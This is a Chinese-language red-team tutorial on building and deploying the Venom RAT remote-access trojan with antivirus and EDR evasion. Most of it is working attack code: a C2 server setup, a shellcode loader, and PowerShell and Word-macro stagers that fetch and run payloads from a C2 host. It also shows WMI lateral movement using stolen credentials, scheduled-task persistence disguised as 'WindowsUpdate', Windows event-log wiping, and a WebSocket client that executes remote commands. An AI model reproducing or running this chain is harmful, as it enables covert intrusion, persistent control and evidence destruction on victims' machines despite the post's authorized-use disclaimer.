0x01 毒液远控的攻击构想
毒液远控(Venom RAT)是一款非常经典且强大的远程控制工具,尤其适合在红队的实战中执行隐蔽控制和横向移动。它不仅支持传统的键盘记录、屏幕捕获,还可以灵活注入内存执行恶意载荷,甚至伪装成正常进程与EDR对抗。
技术原理:毒液远控的核心在于它的模块化架构——通过动态插件加载实现功能扩展,同时支持多种免杀和流量伪装技术。它通常利用 Windows API(如 CreateRemoteThread 或 NtCreateSection)实现内存注入,进而规避常规杀软检测。

适用场景:毒液远控主要用于以下场景:
- 目标内网侦察:通过毒液远控,可轻松获取目标网络结构、域信息和弱口令。
- 权限维持:毒液远控支持启动持久化任务,确保重启后仍能控制。
- 流量伪装:通过 HTTPS 和 WebSocket 协议伪装正常通信流量,隐藏 C2 通信痕迹。
这次我将分享如何配置毒液远控并实现免杀的攻击链。注意:本文只适用于授权的渗透测试,请勿非法使用!
---
0x02 环境搭建:工具、测试目标与 C2 配置
在红队实战中,搭建一个功能完善的毒液远控环境是关键。以下是我推荐的测试环境配置:
实验环境
- 目标机器:Windows 10 x64(开启防火墙,安装常见杀软如 Windows Defender)
- 攻击机:Kali Linux 或 Parrot OS(搭载 C2 工具)
- 毒液工具:自编译的毒液远控(源码基于 C++)
- C2 服务端:Flask 搭配 Nginx 反向代理,用 HTTPS 加密通信隧道
配置毒液远控
毒液远控的默认代码是公开的(或可从地下源码库获取),但未经修改的版本容易被杀软识别。以下是编译毒液工具的步骤:
- 下载源码
找到毒液远控的原始代码库(如 GitHub、私人论坛),并下载到本地。
- 调整基础配置
修改默认的 C2 地址及端口,避免被防御系统基于 IOC(Indicators of Compromise)检测。 代码位置通常如下: <pre><code class="language-cpp"> // 毒液远控C2服务器配置
define C2_DOMAIN "myc2server.com"
define C2_PORT 443
`
- 伪装进程名称
将毒液远控伪装成合法的进程名,例如 svchost.exe 或 chrome.exe。 `cpp // 设置目标进程名称 const char* ProcessName = "svchost.exe"; `
- 编译免杀版本
使用 mingw 或 Visual Studio 编译毒液远控,推荐选用 Release 模式以避免调试符号泄露。
配置 C2 服务器
毒液远控的 C2 通信采用 TCP 或 HTTPS,建议选择 HTTPS 以规避流量审计。以下是 Flask 结合 Nginx 的典型配置:
Flask C2 服务端代码</code></pre>python
from flask import Flask, request import base64

app = Flask(__name__)
@app.route('/connect', methods=['POST']) def connect(): data = request.get_data() decoded_data = base64.b64decode(data).decode('utf-8') print(f"[+] Received Data: {decoded_data}") return 'OK'
if __name__ == '__main__': app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem')) <pre><code>
Nginx 配置文件(用于 HTTPS 代理)</code></pre>nginx
server { listen 443 ssl; server_name myc2server.com;
ssl_certificate /etc/nginx/ssl/cert.pem; ssl_certificate_key /etc/nginx/ssl/key.pem;
location /connect { proxy_pass http://127.0.0.1:443; } } <pre><code> ---
0x03 构造免杀 Payload:绕过杀软与 EDR
毒液远控的核心优势在于它能够生成免杀的 Payload。在实际操作中,我通常会采用以下技术绕过杀软与 EDR:
改写 Shellcode 模块
毒液远控的默认 Shellcode 很容易被行为检测阻断,因此需要动态生成并加密 Shellcode。例如:
动态生成 Shellcode 的 Python 脚本</code></pre>python
import base64
shellcode = b"\x90\x90\x90..." # 你的Shellcode encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')
print(f"Base64 Encoded Shellcode: {encoded_shellcode}") <pre><code>
解码并执行 Shellcode(C++示例)</code></pre>cpp
include <windows.h>
include <string>
include <iostream>
include <base64.h> // 使用开源Base64库
void ExecuteShellcode(std::string encoded_shellcode) { std::string shellcode = base64_decode(encoded_shellcode);
void exec = VirtualAlloc(0, shellcode.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode.data(), shellcode.size()); ((void()())exec)(); // 直接执行 } <pre><code>
使用 PowerShell 下载并执行远控
将毒液远控的载荷托管到 C2 服务器,并通过 PowerShell 下载执行:</code></pre>powershell $PayloadURL = "https://myc2server.com/payload.exe" $WebClient = New-Object System.Net.WebClient $PayloadPath = "$env:temp\payload.exe" $WebClient.DownloadFile($PayloadURL, $PayloadPath) Start-Process $PayloadPath <pre><code> ---

0x04 攻击链设计:从入侵到权限维持
在一次成功的红队行动中,我曾利用毒液远控实现完整的攻击链,从钓鱼入侵到最终控制目标:
阶段1:钓鱼攻击
通过伪装的文档(例如恶意宏)将毒液远控的载荷发送至目标:</code></pre>powershell
恶意宏代码示例
Sub AutoOpen() Dim cmd As String cmd = "powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& _ "'IEX (New-Object Net.WebClient).DownloadString(''https://myc2server.com/stager.ps1'')'" Shell cmd, vbHide End Sub <pre><code>
阶段2:内网横向移动
毒液远控支持凭据抓取与自动化横向移动。例如,利用 SMB 共享与 WMI:</code></pre>powershell Invoke-WMIMethod -ComputerName TargetIP -Credential $Creds -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c payload.exe" <pre><code> 
阶段3:权限维持
通过计划任务实现持久化:</code></pre>powershell $TaskName = "WindowsUpdate" $PayloadPath = "$env:temp\payload.exe" schtasks /create /tn $TaskName /tr $PayloadPath /sc daily /st 00:00 /f <pre><code> ---
0x05 痕迹清除与流量伪装
日志清理
毒液远控执行后,会在系统日志中留下大量痕迹。通过以下命令清除关键日志:</code></pre>powershell wevtutil cl Application wevtutil cl Security wevtutil cl System <pre><code>
流量伪装
利用 C2 的 WebSocket 通信伪装正常流量:</code></pre>python import websocket
ws = websocket.create_connection("wss://myc2server.com/connect")
while True: command = ws.recv() exec(command) # 执行来自C2的指令 `
---
0x06 红队实战经验分享
经过多次毒液远控的实战,我总结出几个重要的技巧:
- 动态生成载荷:每次攻击前重新生成 Shellcode,避免被杀软基于特征码检测。
- 利用合法进程伪装:将毒液远控注入到目标机器上的系统进程中,如
explorer.exe。 - C2 的隐藏性:务必通过 CDN 或反向代理隐藏你的真实 C2 服务器 IP。
- 定期更新工具:毒液远控源码需要持续优化,尤其是针对新版 EDR 的检测算法。
总之,毒液远控是一款功能强大的武器,但它的使用需要深思熟虑,切勿造成无辜损害。希望这篇文章对授权渗透测试的安全研究者有所帮助!